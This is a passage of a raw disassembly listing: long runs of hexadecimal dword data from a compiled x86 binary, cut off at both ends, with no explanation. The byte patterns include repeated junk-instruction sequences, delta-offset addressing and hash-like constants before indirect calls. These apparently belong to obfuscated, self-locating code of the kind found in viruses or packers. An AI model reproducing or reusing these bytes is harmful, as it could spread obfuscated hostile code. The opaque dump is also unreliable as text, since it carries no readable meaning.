20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 953FC350h, 9D897D20h dd 60725ADh, 0BD8589h, 9D89060Ah, 60725BDh, 651CB966h dd 870F006Ah, 4, 0C9BEB966h, 0B5858Dh, 0BF50060Ah, 38B06B9Bh dd 8F0F046Ah, 0 dd 29C9858Dh, 9D890607h, 60701ADh, 1F1D8589h, 8B500607h dd 718418Dh, 52006A06h, 0D216D181h, 6A5A14EDh, 0D9BD8B00h dd 6A060732h, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 8749BB4Dh, 29A74D11h, 54BA4307h dd 0FF5BC0C6h, 0A00BDB5h, 619D2906h, 0FF06071Eh, 72B5995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 8DE23AA6h, 52BA6692h, 1B6EE968h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0A06E20C3h, 475C206Eh, 852987E5h, 6071D59h, 1085BD31h dd 0C08B0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 3DC35545h, 2957BA89h, 703D98Dh, 0BD835906h, 6073101h dd 83097500h, 70A55BDh, 19740006h, 0C08B5350h, 7D2B8h dd 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h, 55BD8358h dd 6070Ah, 53501774h, 7D2B8h, 0AD858900h, 8D06072Bh, 9B0E19Dh dd 5BD3FF06h, 0E7816658h, 29604756h, 73121B5h, 0B5BD8B06h dd 61060717h, 0B966C08Bh, 85C7929Dh, 6071995h, 1, 0FE9h dd 0A8717500h, 255D79DCh, 0DDAB92Bh, 427842C9h, 10C1958Bh dd 0B8680607h, 0FFCEE4E7h, 71589B5h, 13858D06h, 0FF06073Ah dd 4D8589D0h, 6806071Eh, 0C005DBD4h, 1589B5FFh, 858D0607h dd 6073A13h, 8589D0FFh, 6070545h, 0F566858Dh, 0FF500609h dd 701A9B5h, 8595FF06h, 0B060731h, 8B0B74C0h, 19858DD8h dd 50060A05h, 858DD3FFh, 60A0519h, 9388366h, 85C70A75h dd 60721D5h, 1, 2FAD95FFh, 0FF250607h, 83000000h, 0A7305F8h dd 169985C7h, 10607h, 0B5290000h, 6072F09h, 0CE9CA8Bh dd 0D5000000h, 0F66191B1h, 0BCFC297Ah, 804CC5BEh, 0A0128BDh dd 850F0006h, 3Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 5C35343h, 0FE51BFFFh, 0C0E6E17Fh, 3870FA2h dd 0F000000h, 9D89D7BFh, 6070BA9h, 19ABE9h, 0D78B6600h dd 21D5BD83h, 0F000607h, 0DF85h, 0F2858D00h, 66060A00h dd 34CAE181h, 0D958B50h, 6A06071Eh, 0FD8D3101h, 6A06072Eh dd 0B8A0F00h, 0E9000000h, 6, 306410DCh, 0B5892688h, 60704D1h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 81531EC3h, 0E0543CCFh, 8D01597Ch, 6072291h dd 334995FFh, 95310607h, 6071B61h, 11C8589h, 9D29060Ah dd 607221Dh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 9D22F8C3h, 0F98D8Bh, 1600607h, 72BA1B5h dd 318D8B06h, 61060716h, 11CB5FFh, 0B966060Ah, 95FF4D5Eh dd 6073035h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 56C35747h, 32DEAE11h, 0F18AFBCDh, 0F52D858Dh, 800F0609h dd 3, 50D18B66h, 0FF48E980h, 701F595h, 65BD8B06h, 89060700h dd 9F5B785h, 0CFBA6606h, 65B5011Bh, 8D060709h, 9F53A85h dd 81BF6606h, 0BD0350C5h, 60709A5h, 0F5B7B5FFh, 8D8B0609h dd 60723E1h, 318595FFh, 0D08B0607h, 860Fh, 85890000h, 60717A5h dd 1C49B531h, 8E90607h, 0E4000000h, 0ED4EEBC7h, 8DBF724Bh dd 9F5A885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 9575D697h, 0B5FF50AEh, 609F5B7h dd 0BE8h, 3B10F900h, 0B8943DFDh, 432489AFh, 11E9h, 694DEB00h dd 0D8A93F25h, 68F7CD76h, 14911ABBh, 0FF5AB0A2h, 7318595h dd 0A9958B06h, 0F060716h, 8589D3B7h, 609F5CBh, 302D8D8Bh dd 858D0607h, 609F587h, 0E8BB32B9h, 95895009h, 6070959h dd 0F5B7B5FFh, 0F5800609h, 8595FF4Ch, 29060731h, 71E2D85h dd 0C58D0306h, 8906071Fh, 9F5C385h, 0AE906h, 70270000h dd 508A35FCh, 0B9AA088Dh, 0F57A858Dh, 8D8B0609h, 6071EC9h dd 880F6050h, 2, 0B52972B1h, 6072D81h, 0B7B5FF61h, 800609F5h dd 95FFF1C1h, 6073185h, 89D0BF0Fh, 9F5C785h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 858DA4CDh, 609F595h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0E6C35545h, 3380AE1Bh, 870F67D9h, 6 dd 0BFB9CF81h, 6A504E17h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 9FD3C355h, 43DE2110h dd 66D7AF86h, 0EC8AD18Bh, 0F5B7B5FFh, 0BA660609h, 95FF073Fh dd 6073185h, 11E9h, 5EF9500h, 60E27FE9h, 59D4D36Bh, 452D8A90h dd 8B563A37h, 858959CEh, 6072339h, 1BC18D8Bh, 858D0607h dd 609F549h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0C2C35141h, 5FEF8F22h, 508EC367h, 21D99D29h, 0B5FF0607h dd 609F5B7h, 6820Fh, 95310000h, 6072CA1h, 0FFFFB70Fh, 7318595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 3B9050F7h, 81ACEB7Dh, 8589CE8Ah, 609F5BBh dd 26C99589h, 858D0607h, 609F558h, 6870Fh, 0BD890000h dd 6070179h, 0FFCA8B50h, 9F5B7B5h, 8D8B5006h, 6072A61h dd 8595FF5Fh, 8B060731h, 7304D8Dh, 0BF858906h, 660609F5h dd 468CA8Bh, 23000001h, 72F498Dh, 4F858D06h, 600609F6h dd 2B39958Bh, 9E90607h, 0BB000000h, 0D92B85B6h, 17E79EFh dd 958B5061h, 6071991h, 0F753858Dh, 9D310609h, 6072AE1h dd 45C18050h, 0AE960h, 83250000h, 722F926Fh, 0E0AB889Bh dd 60616060h, 0FF616161h, 72D5595h, 25958906h, 8506072Bh dd 6850FC0h, 2B000000h, 7006195h, 28BD8006h, 60A01h, 16850Fh dd 7E90000h, 0B6000000h, 0BEEFC83Eh, 71E90016h, 0BA000015h dd 75D4D54Dh, 21D5BD83h, 0F000607h, 3885h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0BACB8B3Fh, 694D2D9Fh, 72DA8166h, 0D2BD831Dh, 60A05h dd 33840Fh, 8B660000h, 0EC858DFBh, 890609F5h, 70FA9BDh dd 598D8B06h, 0E9060704h, 1510h, 0BD8BCA8Bh, 6072C75h dd 17E9h, 7E900h, 0DC680000h, 52B1C439h, 0D7858D6Ah, 660609F5h dd 59A3F281h, 8DCCB250h, 9F64F85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 5B10D962h dd 3A3A8E09h, 3150770Eh, 701A19Dh, 0D5BD8306h, 60721h dd 30840Fh, 89520000h, 7105D95h, 958B5A06h, 60705CDh, 0F775858Dh dd 0BF0F0609h, 46E9CAh, 860F0000h, 0Eh, 0C5BD8B60h, 0F060717h dd 83h, 858D6100h, 609F75Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 37C35343h, 587D564Ch, 6642653Bh dd 0BD89FE8Bh, 6071511h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 98BDE702h, 13E92312h dd 9000000h, 0EAA7F8EBh, 0DCA87175h, 2B255D79h, 0C90DDAB9h dd 858D7842h, 609F7ADh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 71C35545h, 31B9B589h dd 860F0607h, 8, 81958B57h, 5A06071Dh, 0D78B6650h, 1EB195FFh dd 8B660607h, 10C483D1h, 22859589h, 0C08B0607h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8C35646h, 12E8B81Bh dd 0B3000000h, 0C3D5191Ah, 7B741AB4h, 563FACA9h, 0EC083FBEh dd 68A0FF7h, 89000000h, 72A3D8Dh, 0BD835A06h, 6073101h dd 83097500h, 70A55BDh, 19740006h, 0C08B5350h, 7D3B8h dd 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h, 55BD8358h dd 6070Ah, 53501774h, 7D3B8h, 0AD858900h, 8D06072Bh, 9B0E19Dh dd 5BD3FF06h, 1958B58h, 8B06071Fh, 70BDDBDh, 8B67B506h dd 723AD8Dh, 89C08B06h, 7179D9Dh, 0D7BD8106h, 6F0609F5h dd 0F616572h, 0BC84h, 0B58D8B00h, 8D060725h, 9F64F85h dd 858D5006h, 609F78Ch, 0AD858D50h, 500609F7h, 1EB195FFh dd 0C4830607h, 4D85C60Ch, 4406071Ch, 0A3184F68h, 0A9B5FF96h dd 8D060701h, 73A1385h, 8BD0FF06h, 0AD858DD8h, 500609F7h dd 858DD3FFh, 609F5D7h, 4F858D50h, 500609F6h, 21D5BD83h dd 74000607h, 75858D08h, 0EB0609F7h, 5E858D06h, 500609F7h dd 0F7AD858Dh, 0FF500609h, 71EB195h, 10C48306h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 23C35747h, 236B1089h dd 643C63B0h, 1E49BD8Bh, 0EE90607h, 0BC000000h, 9BB94A35h dd 0ED25A749h, 3E769B30h, 0AD95FF88h, 5006072Fh, 7958D8Bh dd 255A0607h, 0FFh, 1F818D89h, 0F8830607h, 4D830F05h, 8B000000h dd 70BFD8Dh, 9985C706h, 1060716h, 0F000000h, 689h, 91BD3300h dd 8D06071Dh, 9F60B85h, 0CB8B6606h, 75E9h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 3E0C9897h, 0D38B66C6h, 21D5BD83h, 0F000607h, 2284h dd 66D6B600h, 8DAE49B9h, 9F63685h, 5800F06h, 66000000h dd 44F6CF81h, 29E9h, 15BD8B00h, 8D060704h, 9F61885h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8589B042h, 609F64Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0D5C35141h, 9C9E21Eh, 0D3BAAD7Ch, 835F2ED3h dd 721D5BDh, 850F0006h, 12h, 0BD83FE8Bh, 60A05D2h, 0C840F00h dd 66000000h, 39E9D38Bh, 66000011h, 0E9ECF2BFh, 449h, 8C0Fh dd 0C08B0000h, 0EE9h, 5469BA00h, 3130A3DDh, 9168AD35h dd 0E9700A7Ah, 0Ah, 0FEFF3E57h, 830CEB1Dh, 0BD83B144h dd 6073101h, 83097500h, 70A55BDh, 19740006h, 0C08B5350h dd 7D4B8h, 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h dd 55BD8358h, 6070Ah, 53501774h, 7D4B8h, 0AD858900h, 8D06072Bh dd 9B0E19Dh, 5BD3FF06h, 0C576B958h, 0BD8B0EB1h, 60721F1h dd 3F68C08Bh, 6A000F00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 808C353h, 6A006Ah dd 3798D33h, 85890607h, 60708B5h, 17A595FFh, 9D090607h dd 6071C09h, 850FC085h, 6, 2F418D8Bh, 85890607h, 609F5CFh dd 5599D01h, 6A0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0C9C35747h, 29795056h, 35DF8131h, 0F4D17BEh dd 68Bh, 79B58900h, 6A06071Ah, 10E900h, 0FA470000h, 739E56DFh dd 0B22F5274h, 98926EA2h, 6AE201h, 1A058D03h, 6A0607h dd 1AD8D09h, 6A0607h, 0AD858DF9h, 660609F7h, 0E5ADE781h dd 0CBBF0F50h, 1E0DB589h, 16A0607h, 7E8h, 7DCA1B00h, 4EB9F724h dd 11E9h, 82DE7E00h, 56BB26Eh, 81AFE01Dh, 98261C99h, 6A593E35h dd 0F8B46001h, 31016A61h, 71AA1B5h, 0D2816606h, 0FF680B43h dd 6A000F01h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 14F5C356h, 470CEF66h, 418D8BD5h dd 83060723h, 721D5BDh, 840F0006h, 41h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0F8C35141h, 1DB2E0EAh dd 63486B77h, 0F62C858Dh, 0BD890609h, 6071AE9h, 3AE9h dd 81B58900h, 8B060721h, 707158Dh, 2858D06h, 6A0609F6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 958DC353h, 0AA404076h, 0DA2EC2A1h, 50F9BF0Fh dd 22C5B589h, 66500607h, 0FFEAAEBFh, 9F5CFB5h, 0C2816606h dd 95FF5EA5h, 609F5BBh, 6860Fh, 9D090000h, 6071BC1h, 850FC085h dd 32h, 1235BD89h, 7E80607h, 73000000h, 2E260AC8h, 66604B76h dd 41A8C881h, 0E95A61F9h, 4Bh, 4860F60h, 66000000h, 81F757BBh dd 0E612ABC6h, 85896108h, 609F5D3h, 68F0Fh, 9D090000h dd 6070AE5h, 0F5D3B5FFh, 0F520609h, 0FF5AD6B7h, 7233995h dd 853BB106h, 0C850FC0h, 89000000h, 71991BDh, 0DDBD8906h dd 6A06072Eh, 6890F10h, 89000000h, 70C3985h, 0D5BD8306h dd 60721h, 61840Fh, 8B660000h, 2C858DD6h, 6A0609F6h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 308FC351h, 2571688Dh, 48086BB7h, 0E9958B60h, 0F060717h dd 681h, 18C68100h, 61130457h, 23E9h, 0FFB70F00h, 0EE8h dd 0CBF3D500h, 3FCC0419h, 1B568236h, 662F5B3Eh, 8D59D78Bh dd 9F60285h, 0D3BF0F06h, 0D9958950h, 0FF06070Fh, 9F5CFB5h dd 35BF6606h, 0C795FF1Fh, 810609F5h, 8E7689E7h, 0FC08510h dd 685h, 7DBD8B00h, 8906070Ah, 9F5D385h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F03E7C8h, 6AFBB7h, 56D950Bh, 6A0607h, 28F0F50h, 60000000h dd 0B5FF5961h, 609F5D3h, 10800Fh, 0BE90000h, 66000000h dd 222E5AE9h, 6022CD03h, 95FF78ABh, 609F5BFh, 0BE9h, 0D1744800h dd 0A20C5CF7h, 71DF4B38h, 1BD19D89h, 0C0850607h, 6850Fh dd 9D890000h, 607322Dh, 0F5D3B5FFh, 6A0609h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 7899A5C3h dd 0B4FE0463h, 892A6C97h, 723A99Dh, 7DBD8B06h, 0FF060700h dd 7233995h, 5EB96606h, 0FC085CBh, 485h, 10B96600h, 8A006A71h dd 8068EEh, 85890000h, 607008Dh, 9E8036Ah, 56000000h, 0D6245625h dd 42022054h, 29006A59h, 718E5B5h, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0D2CC355h, 683B16FBh, 0C0000000h, 2B099D31h, 0B5FF0607h dd 609F64Bh, 13E8h, 0E50FAF00h, 0E88B2BDFh, 712244DEh dd 5E4FBA7Fh, 8CF38853h, 49BD0359h, 0FF06070Ch, 7011195h dd 0F1816606h, 13E9E3D8h, 0AC000000h, 4952D6FAh, 0E59EB0C8h dd 0A765F78h, 0CEB40704h, 0F883B157h, 0AC850FFFh, 0E8000005h dd 13h, 2A7A07Dh, 96A1B64Fh, 0AF4B68A7h, 0BCBED582h, 0FCC4560h dd 0FF59CBB7h, 0A00B985h, 83D78B06h, 0A00B9BDh, 840F0206h dd 3FCh, 22ED8589h, 858D0607h, 5AF59Fh, 6214BB60h dd 0F78B02A5h, 0FD0FF61h, 9D89F8B7h, 6070B31h, 0EFF2858Dh dd 6A005Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0ABC025C3h, 0D2E4C098h, 8D01DD2Dh, 6071A99h dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 252633C3h, 5968A5A6h, 29C08B4Ch, 7006D85h dd 1BD8306h, 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h dd 7D8h, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh, 0A55BD83h dd 74000607h, 0B8535017h, 7D8h, 2BAD8589h, 9D8D0607h, 609B0E1h dd 585BD3FFh, 8E9h, 427D900h, 0AD7873C2h, 0ACBA66EDh, 6AC08B34h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0D99AC350h, 30CB3C18h, 0B90D789h, 72F6D95h dd 0FE906h, 0CDD10000h, 0D79AD018h, 59BEE86Bh, 968354Ah dd 3F68EDh, 800F000Fh, 14h, 0FE9h, 36C46800h, 7A2AB869h dd 33E652F5h, 373C84E7h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 29F67EC3h, 7E9h, 0AF433D00h dd 25B356AAh, 0F280006Ah, 0A595FFC1h, 6A060717h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8537C350h, 0FDB589C0h, 89060731h, 9F5CF85h, 0CB8B6606h dd 0F01FF68h, 0CCC98100h, 8344A4FAh, 721D5BDh, 840F0006h dd 42h, 0AC58509h, 858D0607h, 609F62Ch, 22DF8152h, 5F4098DFh dd 49E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0E6D53ACBh, 14D4E07Ch, 0D36EB9E7h dd 858D61C6h, 609F602h, 0EE8h, 8855CF00h, 9B9C5B55h, 0C334BB02h dd 89934D45h, 705BD9Dh, 89505906h, 703ED95h, 0CFB5FF06h dd 0FF0609F5h, 9F5C795h, 0EE906h, 286F0000h, 88888268h dd 0C66E2EEEh, 0F7928774h, 0F5D38589h, 6A0609h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 7AAF53C3h, 608AA5B8h, 1C1BD31h, 0C7610607h, 7263D85h dd 6, 6D852900h, 83060733h, 9F5D3BDh, 840F0006h, 16Ch dd 0FF8DBA66h, 0F8B1858Dh, 0B5290609h, 6073121h, 35BD8950h dd 6A060715h, 68E0F01h, 8B000000h, 70C5595h, 0D3B5FF06h dd 0B60609F5h, 0FF7EB5AAh, 9F5CB95h, 6DBD8B06h, 0FF06071Ah dd 9F5D3B5h, 0BBCF8106h, 0FF7106A2h, 7233995h, 0D7B70F06h dd 0F01FF68h, 5858900h, 83060724h, 721D5BDh, 840F0006h dd 1Ah, 4887D781h, 858D440Eh, 609F62Ch, 0E9D38B66h, 1Ah dd 2D798589h, 858D0607h, 609F602h, 0FEDA8160h, 0B02D5EDh dd 702298Dh, 0F506106h, 288h, 0FFF98B00h, 9F5CFB5h, 0A1BD8906h dd 0FF060706h, 9F5C795h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 89F9C68Bh, 9F5D385h, 68F0F06h dd 89000000h, 71C8DBDh, 0D3B5FF06h, 0E90609F5h, 6, 4FCCB41Dh dd 0EC8ACBD0h, 0F5C395FFh, 6A0609h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1DA462C3h dd 0A188E149h, 8B0FB1B0h, 6, 485B589h, 0BF0F0607h, 0D3B5FFCAh dd 6A0609F5h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 0F476C350h, 7AD9A86h, 2181958Bh dd 0BD890607h, 6072CFDh, 233995FFh, 958B0607h, 6072AB9h dd 0FFF6EDE9h, 0D1BF0FFFh, 11CB5FFh, 9E9060Ah, 4B000000h dd 83D0372Bh, 94B31768h, 95FFDBB5h, 60701E1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E7C35242h, 8D8B3159h dd 607102Dh, 858BD78Bh, 6071889h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0DDC35242h, 0E8B6F4E6h, 81CEA843h dd 9AD5C8E1h, 5D1E961h, 0BD890000h, 607053Dh, 0CE8h, 0F7279200h dd 4DFC68E2h, 0F3BB9F64h, 0ECBA6651h, 0B58D594Eh, 609F8D1h dd 2DCD9589h, 858D0607h, 609A6B5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0D8C35141h, 5A00E84Dh, 410C281h dd 66601CB7h, 8B4FADBFh, 0D0FF61F2h, 6880Fh, 8D890000h dd 60730B9h, 8D0F006Ah, 6, 26BD8589h, 95FF0607h, 6071F39h dd 0F38BD78Bh, 9E8h, 40991D00h, 0FEC604Dh, 0BD89ECD8h dd 6071B3Dh, 0B5858D5Ah, 6A0609A6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D510C356h dd 0D58E2A84h, 95BD8B51h, 5A060729h, 0C88BD0FFh, 6E8006Ah dd 5F000000h, 7428EBD9h, 0C19589F1h, 5A06072Bh, 1F3995FFh dd 860F0607h, 2, 8F0FD38Bh, 17h, 12E9h, 91846A00h, 46ADB3DEh dd 23F5555Ah, 0F02F805Ah, 8BE4DAA6h, 4006BFC0h, 0BD834284h dd 6073101h, 83097500h, 70A55BDh, 19740006h, 0C08B5350h dd 7D9B8h, 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h dd 55BD8358h, 6070Ah, 53501774h, 7D9B8h, 0AD858900h, 8D06072Bh dd 9B0E19Dh, 5BD3FF06h, 68B0F58h, 0F000000h, 89h, 0CB8B6600h dd 38B0Fh, 8B660000h, 8BC08BCEh, 958B50F9h, 6072669h, 8D8BD88Bh dd 607068Dh, 259D8D53h, 8B060706h, 8B038903h, 43895043h dd 0B59D8D50h, 8B060A00h, 5B038903h, 1EC9952Bh, 59510607h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8DD05BC3h, 0A00B585h, 0D68B6606h, 6A82B150h dd 8D8D8B60h, 8D06071Fh, 7062585h, 49BD0306h, 50060710h dd 1581958Bh, 6A0607h, 1AFD8D8Bh, 6A0607h, 0AB98D8Bh, 680607h dd 89000018h, 7176595h, 6A5306h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0A9EE5DC3h, 0FDCF11F9h dd 5558D33h, 11E90607h, 61000000h, 87E77C3Bh, 9001B66Fh dd 81DD5202h, 5AA3BFh, 2B5995FFh, 9B50607h, 1DF195FFh dd 66600607h, 9CEEBB8h, 715119Dh, 0B5FF6106h, 60A011Ch dd 1F518D8Bh, 95FF0607h, 60701E1h, 12E8h, 10346A00h, 191DB4ACh dd 10E20F96h, 0EADF9E0Ah, 8B72709Dh, 70F4595h, 858D5906h dd 6070625h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0C4C35040h, 0D30466BBh, 0DE21109Fh, 998D8943h dd 0F060703h, 1182h, 0CE900h, 0DCB0000h, 9A75ADB0h, 0B940C57Ah dd 408B1051h, 79958918h, 0C706071Bh, 72C3D85h, 6, 0CF8B6600h dd 21D5BD83h, 0F000607h, 4484h, 8C3D00h, 830F0000h, 1E9h dd 13E9h, 9BC32200h, 4E8A339Bh, 83733B9Eh, 3DAD88DDh, 48FCF5C4h dd 3D5BD03h, 2CE90607h, 3000000h, 7237995h, 0F605306h dd 85h, 8F0F00h, 61000000h, 963D5Fh, 830F0000h, 1A5h, 98E101BFh dd 0B9BD013Ch, 8D060707h, 5AF59F85h, 0B9858900h, 0FF06070Ah dd 0CA8B66D0h, 0FE8h, 7A86D400h, 32A2CE59h, 0DD1535A9h dd 138DBDFAh, 0B99FBA66h, 0F2858D5Fh, 0B6005AEFh, 8BD0FF4Dh dd 12E8C0h, 50710000h, 531DF64Ah, 9EA0BE71h dd 719CB995h, 16CBCAD1h, 58C0Fh, 81660000h, 5A30ABCFh dd 3101BD83h, 75000607h, 55BD8309h, 6070Ah, 53501974h dd 0C6B8C08Bh, 8900000Bh, 72BAD85h, 0F29D8D06h, 0FF0609B3h dd 83585BD3h, 70A55BDh, 17740006h, 0C6B85350h, 8900000Bh dd 72BAD85h, 0E19D8D06h, 0FF0609B0h, 8B585BD3h, 7046195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 7902A16Ah, 7987210Bh, 6AC08B26h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 4F7FC350h, 6957B6CDh, 0F89145CFh, 0FFFF883h, 3B85h dd 0CE900h, 0A4080000h, 8DF01C83h, 0CCD5E8A8h, 85C7863Eh dd 60707F5h, 0 dd 0E970DE80h, 12Eh, 8E9h, 53E6F200h, 0BF575C50h, 54E939h dd 8D890000h, 6072D09h, 0F01F883h, 4585h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 7C70A72Eh, 958B5251h, 60725D1h, 9D895F59h, 6072125h dd 102E9h, 0CE900h, 829E0000h, 0B4ADC9AEh, 70C29B5Ch, 8FE9D481h dd 60FFFFF1h, 1831B589h, 0B5010607h, 6070985h, 0FC08B61h dd 0E8Ah, 9E900h, 2F170000h, 0DC3476E1h, 836972C5h, 73101BDh dd 9750006h, 0A55BD83h, 74000607h, 8B535019h, 7DDB8C0h dd 85890000h, 6072BADh, 0B3F29D8Dh, 0D3FF0609h, 0BD83585Bh dd 6070A55h, 50177400h, 7DDB853h, 85890000h, 6072BADh dd 0B0E19D8Dh, 0D3FF0609h, 0B966585Bh, 6A0C41h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0F51FB5C3h, 0D67D9C65h, 8B0AD733h, 0BE8C0h, 8D610000h dd 0D3B008Fh, 0C4F1D7A0h, 0ECCD8029h, 0F183BA5Ah, 1E92D2Ah dd 0E9000002h, 6, 8ED1CD00h, 858DDFD2h, 609FEB9h, 0B18589F9h dd 81060A00h, 0D920CEDFh, 25E92Bh, 66600000h, 8640CB81h dd 48C0Fh, 0B9660000h, 8D61278Ch, 9FCC185h, 8940FC06h dd 0A00B185h, 0D8D8906h, 6A06070Ch, 0D5858D34h, 5006072Dh dd 0B1B5FFh, 6A060Ah, 19A595FFh, 0F8830607h, 62840F07h dd 66000001h, 0C3F6DB8Ch, 0FC850F04h, 0C6000000h, 71C4D85h dd 52685606h, 0FF9CA8B8h, 701A9B5h, 13858D06h, 0FF06073Ah dd 68046AD0h, 1000h, 6A646Ah, 8589D0FFh, 60A0124h, 1C4D85C6h dd 68470607h, 0EC18AC9Bh, 1A9B5FFh, 858D0607h, 6073A13h dd 0D0FFD0FFh, 85C6F08Bh, 6071C4Dh, 2661684Fh, 0B5FFC62Fh dd 6071589h, 3A13858Dh, 0D0FF0607h, 1209D8Dh, 6A53060Ah dd 0D0FF5628h, 75C085h, 1C4D85C6h, 68410607h, 0DB876498h dd 1589B5FFh, 858D0607h, 6073A13h, 8589D0FFh, 60A013Dh dd 1C4D85C6h, 684C0607h, 80A4E7A4h, 1589B5FFh, 858D0607h dd 6073A13h, 9D8BD0FFh, 60A0124h, 53045B8Dh, 1299D8Dh dd 6A53060Ah, 8BD0FF00h, 0A01249Dh, 103C706h, 0C7000000h dd 20C43h, 85C70000h, 6072F11h, 0 aJjj: unicode 0, <jjj> dw 9D8Bh dd 60A0124h, 0FF006A53h, 0A0120B5h, 3D95FF06h, 0C6060A01h dd 71C4D85h, 97684506h, 0FF92A5F7h, 716BDB5h, 13858D06h dd 0FF06073Ah, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h dd 0A01249Dh, 0C43C706h, 0 dd 6A006Ah, 1249D8Bh, 6A53060Ah, 20B5FF00h, 0FF060A01h dd 0A013D95h, 20B5FF06h, 0FF060A01h, 71DF195h, 0FF006A06h dd 71F3995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 75185884h, 0A1C89027h, 0FF59670h dd 9501C9B7h, 6071BC1h, 33FC858Dh, 0F281060Ah, 62958B89h dd 75B58950h, 89060718h, 70795BDh, 35FF6406h, 0 aWaTydi db 'WْYd%',0 align 10h dd 5E9h, 0B3EFB300h, 0BD83266Ch, 60732B9h, 38840F00h, 50000000h dd 5FD2B70Fh, 2EA9950Bh, 0BD830607h, 6071995h, 20850F01h dd 9000000h, 72D41B5h, 3DBD8006h, 60A05h, 0D850Fh, 8D8B0000h dd 6072B5Dh, 15CE9h, 33F98B00h, 6850FDBh, 89000000h, 70BB9BDh dd 8BC03306h, 72D21BDh, 3F0F4006h, 8F640B07h, 5, 4C48300h dd 9E9h, 4E8DE600h, 7CAFE59Fh, 0FB83229Bh, 11840FFFh, 89000000h dd 715118Dh, 109E906h, 0BD330000h, 